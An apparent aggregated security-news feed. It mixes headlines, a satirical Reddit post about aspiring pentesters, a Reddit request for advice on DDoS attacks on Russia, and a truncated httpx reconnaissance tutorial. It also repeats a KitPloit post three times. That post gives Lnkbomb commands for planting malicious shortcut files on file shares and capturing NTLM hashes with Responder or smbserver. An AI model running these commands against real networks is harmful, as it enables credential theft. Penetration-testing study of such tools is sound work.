Dark Reading: Attacks/Breaches
Catching the Evasive REvil Ransomware Gang With AI

Ransomware-as-a-service gangs are difficult to shut down, but sophisticated, AI-driven defenses may finally be killing their profits.

Dark Reading: Attacks/Breaches
Embracing Security by Design: Security Isn't a Pretty Picture

A starting point for secure UI and UX? Remember that security measures should frustrate attackers, not users.

Every wannabe pentester on reddit be like..
https://www.reddit.com/r/Pentesting/comments/te6797/every_wannabe_pentester_on_reddit_be_like/

<!-- SC_OFF -->Hello, my name is Fred and I’m studying to be a pentester. Well, not really. I know I will get OSCP one day because everyone says CEH is bad. Anyways… I work as a baker. And recently I watched Mr Robot and thought that was cool, so I wanna do that now. I have watched all seasons, so i feel pretty confident. However I tried HTB and THM and couldn’t really figure out how to connect to their labs. I assume it’s not hard though. Anyways, I have 0 technical skills, in fact I used to skip computer class cause it was so boringgg. I guess i’m just someone who learns on the job. So I’m thinking of applying for some junior pentest roles, how much will I get paid? Money isn’t a really big issue though, I want to be able to pwn seasoned software engineers, sys admins and architects and tell them why their solutions SUCK! I just want to hack the planet. Anyways, I have installed kali and done a apt-get upgrade, got this bad ass wallpaper going on. This guy said you shouldn’t use it as a daily driver, but how will people then know I’m leet? I also ran a nmap, can’t believe how easy hacking is! So back to my question.. how long do you think it will take to get a job? <!-- SC_ON --> submitted by /u/mrdeadbeat (https://www.reddit.com/user/mrdeadbeat)
[link] (https://www.reddit.com/r/Pentesting/comments/te6797/every_wannabe_pentester_on_reddit_be_like/) [comments] (https://www.reddit.com/r/Pentesting/comments/te6797/every_wannabe_pentester_on_reddit_be_like/)

Lnkbomb - Malicious Shortcut Generator For Collecting NTLM Hashes From Insecure File Shares
http://www.kitploit.com/2022/03/lnkbomb-malicious-shortcut-generator.html

Lnkbomb is used for uploading malicious shortcut files to insecure file shares. The vulnerability (https://www.kitploit.com/search/label/Vulnerability) exists due to Windows looking for an icon file to associate with the shortcut file. This icon file can be directed to a penetration tester's machine running Responder (https://www.kitploit.com/search/label/Responder) or smbserver to gather NTLMv1 or NTLMv2 hashes (depending on configuration of the victim host machine). The tester can then attempt to crack those collected hashes offline with a tool like Hashcat. The payload file is uploaded directly to the insecure file specified by the tester in the command line. The tester includes their IP address as well, which is written into the payload.
Python Usage Installing Lnkbomb Note that the project works consistently in Windows. It may have issues in Linux. git clone https://github.com/dievus/lnkbomb.git Change directories to lnkbomb and run: python3 lnkbomb.py -h This will output the help menu, which contains the following flags: -h, --help - Lists the help options -t, --target - Specifies the target file share (https://www.kitploit.com/search/label/File%20Share) (ex. -t \\192.168.1.1\Share) -a, --attacker - Specifies the tester's attack machine (ex. -a 192.168.1.2) -r, --recover - Used to remove the payload when testing is completed (ex. -r randomfilegenerated.recover) Examples of full commands include: python3 lnkbomb.py -t \\192.168.1.1\Share -a 192.168.1.2 python3 lnkbomb.py -r randomfilegenerated.recover You will need to utilize a tool like Responder or smbserver to capture the NTLM hash.
responder -I eth0 -dwf -v or smbserver.py . . -smb2support

Executable Usage Download Lnkbomb from the releases link on the right side of the page. All flags are the same as the Python version, with the exception of using lnkbomb.exe rather than python3 lnkbomb.py. Notes Please keep in mind that this tool is meant for ethical hacking (https://www.kitploit.com/search/label/Ethical%20Hacking) and penetration testing (https://www.kitploit.com/search/label/Penetration%20Testing) purposes only. I do not condone any behavior that would include testing targets that you do not currently have permission to test against.

Download Lnkbomb (https://github.com/dievus/lnkbomb)

hacking: security in practice
DDoS attacks to Russia?

I’m not a PRO at cybersecurity but I know my way around and know quite a bit. With everything going on in Russia and Ukraine. Would there be any advice for DDoS attacks on Russia to help out?

submitted by /u/Haunting_Cold3702
[link] [comments]

Hacking on Medium
TomGhost CTF

https://cdn-images-1.medium.com/max/600/1*o-JiK9WMbmBdJuRhDNtZRw.jpeg
Hello Everyone,

Continue reading on System Weakness »

Hacking on Medium
5 productivity hacks that make my life easier

https://cdn-images-1.medium.com/max/800/0*uHpWiBUvPUcszd6d
Don’t use your phone after you woke up

Continue reading on Medium »

Hacking on Medium
The Cyber War

https://cdn-images-1.medium.com/max/600/1*CZ_er6gLxzrLIIHpiMMZmg.png
The 8th article about events that are related to Russo-Ukrainian War, its new and active phase that started 24.02.2022

Continue reading on Medium »

Hacking on Medium
Ubisoft confirma ‘incidente de seguridad cibernética’

https://cdn-images-1.medium.com/max/1626/0*XwSSJbTdQMqwlb-q
PUBLICADO EN 14 MARZO, 2022POR EHACKING

Continue reading on Medium »

KitPloit - PenTest Tools!
Lnkbomb - Malicious Shortcut Generator For Collecting NTLM Hashes From Insecure File Shares

https://blogger.googleusercontent.com/img/a/AVvXsEiNbd2AhYksK-gxxbexlBEDIeiGIYfC3twQLGeGe3sP0BhYasNhaqYREfplVYsbL82-KSyTqIx6qP0H1vfKO572IqEiyUXUeBgy9VgTkopXLSl7TxcbKUg0l3U-Zg7O2nn5xYOlZOQIIZl34lQAHQSgkLS9OjY1XNOvsnkuSeUiPYmKmssQk0Hl75Lr=w640-h412
Lnkbomb is used for uploading malicious shortcut files to insecure file shares. The vulnerability exists due to Windows looking for an icon file to associate with the shortcut file. This icon file can be directed to a penetration tester's machine running Responder or smbserver to gather NTLMv1 or NTLMv2 hashes (depending on configuration of the victim host machine). The tester can then attempt to crack those collected hashes offline with a tool like Hashcat.

The payload file is uploaded directly to the insecure file specified by the tester in the command line. The tester includes their IP address as well, which is written into the payload.
Python Usage

Installing Lnkbomb

Note that the project works consistently in Windows. It may have issues in Linux.

git clone https://github.com/dievus/lnkbomb.git

Change directories to lnkbomb and run:

python3 lnkbomb.py -h

This will output the help menu, which contains the following flags:

-h, --help - Lists the help options

-t, --target - Specifies the target file share (ex. -t \\192.168.1.1\Share)

-a, --attacker - Specifies the tester's attack machine (ex. -a 192.168.1.2)

-r, --recover - Used to remove the payload when testing is completed (ex. -r randomfilegenerated.recover)

Examples of full commands include:

python3 lnkbomb.py -t \\192.168.1.1\Share -a 192.168.1.2

python3 lnkbomb.py -r randomfilegenerated.recover

You will need to utilize a tool like Responder or smbserver to capture the NTLM hash.
responder -I eth0 -dwf -v

or

smbserver.py . . -smb2support

https://blogger.googleusercontent.com/img/a/AVvXsEif747DqS9POyDkPl7Ed5Oh1VOlX5XUxbIpBaKNu9y3EiikRgR_EmXfMJWaEDaJFNW8QIlkr5vLE90iPxXACiVhzInLk2PeeIHJmNTDEkjSnyYZZ_xwzYF-m5CPIX-EnV_GBMBiZp4Dh7wCXs8hJcgFU5eFDTMLlOBl1FCc1EebVznMJZtGe3cPo2gX=w640-h194

Executable Usage

Download Lnkbomb from the releases link on the right side of the page. All flags are the same as the Python version, with the exception of using lnkbomb.exe rather than python3 lnkbomb.py.

Notes

Please keep in mind that this tool is meant for ethical hacking and penetration testing purposes only. I do not condone any behavior that would include testing targets that you do not currently have permission to test against.
Download Lnkbomb

Lnkbomb - Malicious Shortcut Generator For Collecting NTLM Hashes From Insecure File Shares

Lnkbomb is used for uploading malicious shortcut files to insecure file shares. The vulnerability exists due to Windows looking for an icon file to associate with the shortcut file. This icon file can be directed to a penetration tester's machine running Responder or smbserver to gather NTLMv1 or NTLMv2 hashes (depending on configuration of the victim host machine). The tester can then attempt to crack those collected hashes offline with a tool like Hashcat. The payload file is uploaded directly to the insecure file specified by the tester in the command line. The tester includes their IP address as well, which is written into the payload. Python Usage Installing Lnkbomb Note that the project works consistently in Windows. It may have issues in Linux. git clone https://github.com/dievus/lnkbomb.git Change directories to lnkbomb and run: python3 lnkbomb.py -h This will output the help menu, which contains the following flags: -h, --help - Lists the help options -t, --target - Specifies the target file share (ex. -t \\192.168.1.1\Share) -a, --attacker - Specifies the tester's attack machine (ex. -a 192.168.1.2) -r, --recover - Used to remove the payload when testing is completed (ex. -r randomfilegenerated.recover) Examples of full commands include: python3 lnkbomb.py -t \\192.168.1.1\Share -a 192.168.1.2 python3 lnkbomb.py -r randomfilegenerated.recover You will need to utilize a tool like Responder or smbserver to capture the NTLM hash. responder -I eth0 -dwf -v or smbserver.py . . -smb2support Executable Usage Download Lnkbomb from the releases link on the right side of the page. All flags are the same as the Python version, with the exception of using lnkbomb.exe rather than python3 lnkbomb.py. Notes Please keep in mind that this tool is meant for ethical hacking and penetration testing purposes only. I do not condone any behavior that would include testing targets that you do not currently have permission to test against. Download Lnkbomb
Read more...

Hacking Articles|Raj Chandel's Blog
A Detailed Guide on httpx

Introductionhttpx is a fast web application reconnaissance tool coded in go by www.projectidscovery.io. With a plethora of multiple modules effective in manipulating HTTP requests and filtering out responses, it is proving to be an effective tool in Bug Bounty Hunter’s arsenal. While tools like curl already exist that can perform almost all the features covered in this tool, httpx has its own place among the analysts because of its speed and ease of access. You can download the source code from here.<o:p Table of content<o:p· Installation of go version 1.17<o:p· Installation of httpx<o:p· Basic usage<o:p· Subdomain enum using subfinder and scanac<o:p· Content probes<o:p· Content comparers<o:p· Content filters<o:p· Rates and timeouts<o:p· Show responses and requests<o:p· Filtering for SQL injections<o:p· Filtering for XSS reflections<o:p· Web page fuzzing<o:p· File output<o:p· TCP/IP customizations<o:p· Post login<o:p· HTTP methods probe<o:p· Routing though proxy<o:p

· Conclusion<o:p Installation of go version 1.17<o:pInstallation and proper running of httpx tool depends on go version 1.17. You can download, extract, add go in environment variables as follows. I am using Kali on amd64 architecture. Please feel free to download the appropriate package for your system on go.dev/dl<o:p wget https://go.dev/dl/go1.17.8.linux-amd64.tar.gz<o:ptar -C /usr/local/ -xzf go1.17.8.linux-amd64.tar.gz<o:pPlease make sure that you add the following lines in ~/.zshrc file:<o:p #go variables<o:pexport GOPATH=/root/go-workspace<o:pexport GOROOT=/usr/local/go<o:pPATH=$PATH:$GOROOT/bin/:$GOPATH/bin<o:pAfter you have added the lines, zshrc file can be loaded with source command and then we’ll be ready to go. If all goes well, “go version” command will give version 1.17.8 as output.<o:p source ~/.zshrc<o:pgo version<o:phttps://blogger.googleusercontent.com/img/a/AVvXsEg9AlSPddp5OUP_eU8i-3YbkJlkZJQELrrftSGwMmXT5lYo3-YZMV3QCLPK8BG1PH6c3p6IKS-ra1HACHLrGFwdx56x2fCsJR6xbQzMQankB_t01kYJ7ZQLFGl5aBZWZ-dnDBQzF5Uw_2m37KQ62BmKRR8ZWVWOmq5nMQ0PiXeNjBUJ9BMrMiDMiblRfg=s16000 Installation of httpx<o:pInstallation of the tool is also possible by cloning the github repository and using makefile to compile but we have an easier alternate. We can use go install to do the same like:<o:p go install -v github.com/projectdiscovery/httpx/cmd/httpx@latest<o:phttps://blogger.googleusercontent.com/img/a/AVvXsEjxO12ZcCBpqMjShSZDpioqub4yeqXqeR6x1ecum7XOuXIsn4DX8DUM1PuFaOcO5DdM20TYt9I5LHkMAJqXbDyV3aDvj5d3wROMhdAYMjRlDtnT8VNQpaSznN7AFHdq-Q-rrRQi53ElM0B1xFL6Jap_wwA_H3Zmz_AZVCkHYT4AyWrhs3RYul_Y25CsHw=s16000 Once done, you can now run the tool. Help menu can be popped up to check the installation success<o:p httpx --help<o:phttps://blogger.googleusercontent.com/img/a/AVvXsEgQLt7Z5uf7fSqnkq2bX7Pp0sE8QNdVxj-uyi_ZHLji4PyrwM1LzY7c6aVhGQbH3C7ZZJo4hrJxKXr5C-lwlULWSsJ6dDZyjKFLhmyI5MEtZ8BmiGkIuwtp2F0-_JwJh6A6mJcGUlYPI85CNwPvfV4fGe9BFME4N2gTMS5oaRWNn6p1w-a1HdkPg6pWmA=s16000 Basic Usage<o:pHttpx tool accepts STDIN input for scanning. Here, we run a blank scan that only hits the server and does nothing and then the same scan with some basic options.<o:p

-title: displays the title of the webpage<o:p

-status-code: displays the response code. 200 being valid or OK status while 404 being the code for not found<o:p

-tech-detect: detects technology running behind the webpage<o:p

-follow-redirects: Enables following redirects and scans the follo[...]

wing page too<o:p echo "http://testphp.vulnweb.com" | httpx<o:pecho "http://testphp.vulnweb.com" | httpx -title -status-code -tech-detect -follow-redirects<o:phttps://blogger.googleusercontent.com/img/a/AVvXsEg75NMZ3dVd_eJ8SGIUvdw9JiHUZUm9IGz5xyH7owm4SDgMqiHocUXSqxL7Ph3fltfSYKxxb9Izqv_2m65W085tcXWZKrysSRJiDuBusKUKUzCQJABsBJSUEu54wnhneq0HHEQJLx2qZV_UEwgwlLd96Mj8DfRL16871RQwqeMkIiAxt3_sbL8xB-OqYw=s16000 The same can be run on a list of websites which can be fed to the tool using “-l” option<o:p httpx -l list -title -status-code -tech-detect -follow-redirects<o:phttps://blogger.googleusercontent.com/img/a/AVvXsEh2PsDI6akzQXDF5CtJUaG8OSIRmlPsY3RjODmFEC5SEs-Yo-DWKCDpnPHZTDPFHoLf5iazUjPdquCR4FnL5NCkUtlm7WrLiHHjw5WvJf8qtD99Dx2XR4dQnQfesgj3h4RdzXMNki6XLiH15cZTu9x012t6EvDfhri5OzJtbKB432VaZoo3hFOWlaW58g=s16000 Subdomain enum using subfinder and scan<o:pSubfinder is another tool developed by projectdiscovery.io that enumerates and outputs subdomains. We can feed the STDOUT of subfinder to httpx and scan all the subdomains like so:<o:p subfinder -d vulnweb.com | httpx -title -status-code -tech-detect -follow-redirects<o:phttps://blogger.googleusercontent.com/img/a/AVvXsEhogbTv2cwBoMFX7WbSt8Jl4RpzIjPS4L92plBtV6RJo90N4qsFVHdMS3I5igzroL-UZv9yicPmggfl_deW9HbbX8t1ZMpQlj8EZs5DBipeiSbCnkrq1UKD0h3WoyfAymxdZWePYPUl-dIU5N0VcVHKrTd_n-HeOLBJGDevQsTwMaYuHEkhWRRoI4NNfQ=s16000 Content probe<o:pThere are various modules that can refine how a response is rendered which is called a “probe.” These help us refine scan results. For example,<o:p

-sc: show HTTP response status code<o:p

-path: a specified path to check if it exists or not <o:p httpx -l list -path /robots.txt -sc<o:phttps://blogger.googleusercontent.com/img/a/AVvXsEhBz-txjviQHX-e11ncrjLMjXu_6wsHxWKnHcmp2IAV0QR3ug59B-_qaBzeOXGgqaVYFu9eVgSV8CzlRuZvSD7LyvGWs1Cr0WfaQHm5uVj4l094Z60oRFwAbUObKdIClePcYd8W3NICnU5nQ70cAycTC2LEbFd1gNK3pLlINKpi_Y8rlIZ3X7pGNOhp9A=s16000 httpx could be run using docker as well. Here, we feed a list of all subdomains as STDIN to httpx:<o:p cat list | docker run -i projectdiscovery/httpx -title -status-code -tech-detect -follow-redirects<o:phttps://blogger.googleusercontent.com/img/a/AVvXsEh-XPURpyC8xXqFxGg6UNnCrbXqElwXFtX-HXOpZxI2UB6EVdnfHgn9US0hYrZm-5guT6palhNmVjBPdHrS1IhYCj944dU8sJtATPHGyRkmlbcNl9qzWZ1_A6Z2YELYe67jgsHnQLEgIhG8PEEfilgff5NtQ_zAZLddk-vnJFJZifl52Zig2U84_XPB6w=s16000 There are various other probes that help us render better outputs<o:p

-location: website where redirected. Here, observe how http becomes https<o:p

-cl: displays the content length of resulting web page<o:p

-ct: content type of the resulting web page. Mostly HTML<o:p echo "http://google.co.in" | httpx -sc -cl -ct -location<o:phttps://blogger.googleusercontent.com/img/a/AVvXsEjX5m-5IIDpQnK4vh-zXDF45KHcr4IiYFHI2i76Ah3dRAfEv6Gb_0St-7D0Af4bZFXRyedM7hLMDQQKxKQmuHTCCJq-IqCQFEgA63WEStdYZjDE6dtWZrv08GQj4C8J3SL0iocbswolJsk29HueFFhPRGzQ6N2n_4hPohWMmwS5Dx31oKDAlQqaG6CvOQ=s16000 Some probes that are helpful for analysts and in-depth analysis<o:p

-favicon: fetches mmh3 hash of /favicon.ico file<o:p

-rt: shows the response time<o:p

-server: displays the server version and build<o:p

-hash: shows the webpage's content's hash<o:p echo "http://testphp.vulnweb.com" | httpx -favicon -rt -server -hash sha256<o:phttps://blogger.googleusercontent.com/img/a/AVvXsEjZ4_gZGM2YiSWLLFpMnFBgEfInyjEY2zhP4IQD55ehgblIDr4ET8ESNpzkJO11T9YAgGE48kNl2kxWQ7timGaA78TfdTi0b5IdpaP7SVejfCeGLfUSIjuBBriMUGon-AdXArmd-lgZorhdMyocgJoeKjT3m4e6NS7rU6AQkwTlUZyE6PJ5Hor3qXytOQ=s16000 -probe: displays the status of a single scan (success/failed)<o:p

-ip: displays the IP of the webserver<o:p

-cdn: displays the CDN/WAF if present<o:p echo "https://shodan.io" | httpx -probe -ip -cdn<o:phttps://blogger.googleusercontent.com/img/a/AVvXsEgiy_dzmg2AKJXJcH[...]

BU-Ekct5tgcJNK51hU_eFMGSS4ZBnKFN057ZH_OSRzzG33V3Ey9cD7c96PwT-RKxbxigPeZBUDIOfjQQs6T0jBIVw1LYRsVwUYTKp6RzedqW51iJghenxQ3f87B4AL0r_tSdH_s7swP7ybRGzbDJjnQhZ29NxUHbQhRcWm_UXc-A=s16000 -lc: displays the line count of scanned web page<o:p

-wc: displays the word count of scanned web page<o:p echo "http://testphp.vulnweb.com" | httpx -lc -wc<o:phttps://blogger.googleusercontent.com/img/a/AVvXsEhoXJxtpYiFzctnrh8CeC9zXCVI-QeDlh7mFcnLVhH2Y0vyytWc1oM-pxr1zOThqxXDJGBhJ-pxCC72WdJBphE3wTaignfE0LPrrzMY-2SOAd1jjwBt7zYnq1V5nyxV_bzBzHy-NUW8jerWVOh45sbV5dJDN4I-Vn3xWeyW4dAuQJjGr5a4qhednPPx7Q=s16000 Content comparers<o:pThere are various comparers available in the tool that help us shortlist down an output. These are very helpful to trim down a list of unexpected output. For example,<o:p

-mc: matches the HTTP response code with the codes supplied in the list<o:p cat list | httpx -mc 200,301,302 -sc<o:phttps://blogger.googleusercontent.com/img/a/AVvXsEiAEZYYStgLEMFENS2zsdDYkhkjksXUTef_8TtiasZDc5CSrBU9mFkmOPSfUqWWc2jzDGzWDpjc7hP8Vkp8fzLHFA7cxpmSOnvAUt2yYJa74ZMcXkRu-s7bFUJbB8JMd-zuZlUvd1sqtAAdFt8vQAu_nmCdDsXvF5rtfjQmMzdShc8XpGADuUArifd8RA=s16000 -mlc: matches the line count with input provided<o:p cat list | httpx -mlc 110 -lc<o:phttps://blogger.googleusercontent.com/img/a/AVvXsEhDFuXjn7TUOgMZrzkClN2bus5cveZxdHxq-D8bA3tBcqks7d7LUxCONWgf_iT3HPRla9nvGYtjwGPvqNk5y8F1VxfFPMAHDnJmBbjk9bwP1S0uAJczXWUJnyTkfSllBXzpCHvjySb36llAyyc1MvznQ4WYmikEmA26LKb8vf18TIp_l2fI3NJrmYLnWw=s16000 -cl: displays the content length of a webpage<o:p

-ml: matches the content length with the input provided and displays only the results matching the content length<o:p cat list | httpx -ml 3563 -cl<o:phttps://blogger.googleusercontent.com/img/a/AVvXsEhSR_kOwZcqSWfOZ82H4VlEJ1G5-LixVZzOYtYEpC310ydx2bmVwrA3MCGTP-BN4UBbHG5X1A4-4bYu1E6rLML1i2H4zwNQl_NeIPxYMvFJHfjwhq-AOr6qfqYnqMVg1WDsgvF4_e9dUoUPPsesYV72gMnxaZLiZ3oMnNwOnLTEIFZxj1RNXhomckpeyw=s16000 -mwc: matches the word count and displays only the results with same word count<o:p cat list | httpx -mwc 580 -wc<o:phttps://blogger.googleusercontent.com/img/a/AVvXsEiUGGTLTtQTIcfsIANfEkAk7gN_DSbc7vUCQjg1wVsFAKzsJ_1D_1MBlrO48hNF1EtiaeBQb_PwHJjZf4nT78sf8DWSuFOyMhCJDmcuw76_H94XYbQehlFDAHtJDD5Pfn_UDdPMVtcBff7SjyLRNgvsE45GzjktYdVsFdX8iNuxTtxeuvYYrztNEtH4Hw=s16000 -ms: displays only the results where text on a page matches the provided string. Here, pages with “login” in their text are loaded<o:p cat list | httpx -ms "login"<o:phttps://blogger.googleusercontent.com/img/a/AVvXsEj97pwpigLNnt3kDhKKp7nZnNdZ_Bd3-SCYMDgJmFcKeeUOmf7fZfe928WCCiCFhWDC_gY3S9oTzz6PMmza05PYCee5rX862gE0TyzaD3x3l3GQoMfGUzSP9HKtQs8ZoXQ4E9HufEzJsDMrQzcRk85SCkA7dZGOHEH29AmkctIRN2Hr-AhGapELgCKaWQ=s16000 -er: extract regular expressions. Displays only the results where resulting pages match the regex pattern provided. An example regex is \w which compares the provided string with the resulting page’s output.<o:p echo "http://testphp.vulnweb.com" | httpx -er "\w test"<o:phttps://blogger.googleusercontent.com/img/a/AVvXsEggV7SxthocXjWoEhSGAQ6VuUqA8D5WlSLQCq46MZ9zHiHjx1gtoN5AZpjTo-ak7sQ2DDQv4qWK11WDB93iqshrtLKb3zFY9nShvLVWhMV13CRHeKPkseSaKJUKvrks3gHRuhKs4Sewv6unu9Dm80o3-C5vwl9xf3eTeSP0nziOgSD_XMkV8p8yElnWQQ=s16000 Here, you can see the output stands like u test, o test. The tool has filtered the following text and displayed in output:<o:p https://blogger.googleusercontent.com/img/a/AVvXsEjgu0WAIPzvIZAw7-WoCQLGbEpUPglE4iMQPL6QslgEF2_6oGrOp_1fbCScQAc3ttylpWQriA8oL5gLpAlbDiXmJ-ZR0Pu_mIGQdDqU6TsKcqY693VEsm4G2Dl7gEMeOi5GMpdcoQrpUTkaGmhcwo3oidTjt-WRX34RCLEUp2QibQGjv8qbJ3hnOqZlag=s16000 Content filters<o:pVarious filters are available at disposal in the tool that eliminates the results upon matching the criteria/condition provided. For example,<o:p

-fc: filters code. Tool only displays status codes not listed by fc (404 here so only 200 is visible)&l[...]

t;o:p cat list | httpx -sc<o:pcat list | httpx -sc -fc 404<o:phttps://blogger.googleusercontent.com/img/a/AVvXsEhuiFqokWVCnPiYTu3U0W29vl5t2s15ICqn8GCZERknvk5CPePhRV58vzot-2jTMD9Ybpt8c6O1Hej6aU5zVC6yclwQPCVtDLnbfvtVzx7lCRBQj_ADi8hsK2UUH_mXd-LvBxYgkQGxw4xkKbePMm5mrPsYedptqF6RckjclBi150IASOjqawriSEdeng=s16000 -fl: filters content length. Here, 16 and 12401 is filtered so all the output except these two are visible<o:p cat list | httpx -cl -fl 16,12401<o:phttps://blogger.googleusercontent.com/img/a/AVvXsEih9BMUuXOhzJrCoFFa0MMWplbDHzpqt_84dy4W4aCVMlrWoGDczG6NLes1P1sBqpPfbsEpJHHeUMBWD_hR9l8Uk912FyKBnZoTV35eK4PH4-ryN3aijGshgxCxkDh3ZYSnPcLcA4kwxtO3AAzLkp_NJ5tFl2U0N3CIXMJwVMmo-7Wl8OMAf9tFnS8f-w=s16000 -fwc: filters the word count. Here, 3 and 580 is filtered so all the output except these two are visible<o:p cat list | httpx -wc -fwc 3,580<o:phttps://blogger.googleusercontent.com/img/a/AVvXsEgy2FOoxte3XNKFtNiDFFU8NVtVx9iRwxFNFupJ_YeqcJon1LMaCsxmbNU9HE0c8A4pSxaOW8Ge7xxjoOoy66-taMX_IKn-S8BtoRfkw5BrBL3sZbYodPEH4durITeoVvt_UvRPLEYs3bhZx9DFVyhUF95qkbr_tJy9SA8JolkWnG1DAuW_74hlGyltAA=s16000 -flc: filter line count. Here, 2 and 89 is filtered so all the output except these two are visible<o:p cat list | httpx -lc -flc 2,89<o:phttps://blogger.googleusercontent.com/img/a/AVvXsEiqDNezwvf_adtN4LyoVa6J2Z_jHDGFjhN4bswa6-P9VkGN6YlYkO4utdj9KahtPHwzcATHxorSZapOUmChDqe64nI0QMBUUN6HwmIePq-52NKjCCbbfNSD692e9tRrpy7DxO_KWDxTYv5BlaHqku4SW2Mn6XHr8C2LPp7yqZYgF8y-UGNJcgjirkWExg=s16000 -fs: filter the output with the provided string. Here, “test” is provided, so webpages not containing the string “test” is displayed. This string must only be in the text on web page.<o:p cat list | httpx -fs test<o:phttps://blogger.googleusercontent.com/img/a/AVvXsEhJqz_5zPOIFn6lygNP2lwBvI44t9QCMUGZ0B2vsrZ79Xlk--NhYQraGMFyiQ3If_9_q6wkTfv6DiYwbGZWoj37Fsk1EgDgQGqZbebaijF8grcoK8uJRUA-9otYN9uYHEYrpGeT23NDGAOjyBcwupOm9ICLpbvCqD_YfvqPBp1pcwzuMgOFe6IMuEP0zQ=s16000 -ffc: favicon filter. Only the output with favicons that are not “-215994923” are displayed.<o:p cat list | httpx -favicon -ffc -215994923<o:phttps://blogger.googleusercontent.com/img/a/AVvXsEgBonM7jOl_tDlKHTViJdsc8wr4tmitSIQVpyUFdrqLcWTES00NrrKuSQOFNHEj2RKZJd_km-obcTVr0o9Vx4JmwkmAfSRN65c2IQNuNdYjPbA1HuQqZDaaj9r6veyvZzjxFLy5pSHGazkhKibdYwz_N1BbDlrMOmWEcWx3fbbod2kvWIEsthLOsOJ-Hg=s16000 Rates and Timeouts<o:pThere are various modules that lets a user play around with the rate of scan and throttle the speed of the same. Some of these options are:<o:p

-t: specify the number of threads used for scan. Can be as high as 150. Default 50.<o:p

-rl: specifies the rate limit in requests per second<o:p

-rlm: specifies the rate limit in requests per minute<o:p cat list | httpx -sc -probe -t 10 -rl 1 -rlm 600<o:phttps://blogger.googleusercontent.com/img/a/AVvXsEhjJQ68aqHALxLer1B3W19CHa5ZC7Y1q3_rMOJOv21T2ZyHytNzPGdRgARhzFqiC6nw9nqpfGgYbyUoc3KdVj7DWRVdg-vcCnAgwRlneXG69V9HOvmCG_ndaZmP7NkBkQzzCpkPS6MTkYAYBvGqXlqhBWoOXkhedPk9qiQHaif_oOz2XSONXqOjOGgsug=s16000 -timeout: To abort the scan in specified seconds<o:p

-retries: Number of retries before aborting the scan<o:p cat list | httpx -sc -probe -threads 50 -timeout 60 -retries 5<o:phttps://blogger.googleusercontent.com/img/a/AVvXsEhUM3UxpMU4hMxayxYKcnLrdyyUZASZsQU1gfqJyx5c1vQf46LHdcDxG8qv6yU316nR3yrQxA7whGOeyhKO5ONYcnT0ia-2i8hM61Y7A4gvw7FXXKhVTpDxHfe-GAytA7aZN8xY6JDpUkgbT3MaBhQI5g6nTPAFlOaEDoxg-C1riucyg8eFNw0Xe4AQMg=s16000 Show Responses and Requests<o:pHttpx crafts and sends out http requests in real time and then post processes the results. These requests and corresponding responses can be viewed as well. For example,<o:p

-debug: it shows request and response to a webpage in CLI<o:p echo “http://testphp.vulnweb.com” | httpx -debug<o:phttps://blogger.googleusercontent.com/img/a/AVvXsEhCGEvpG_qThOHAnTf1Df2IqKC2Mxcc6m[...]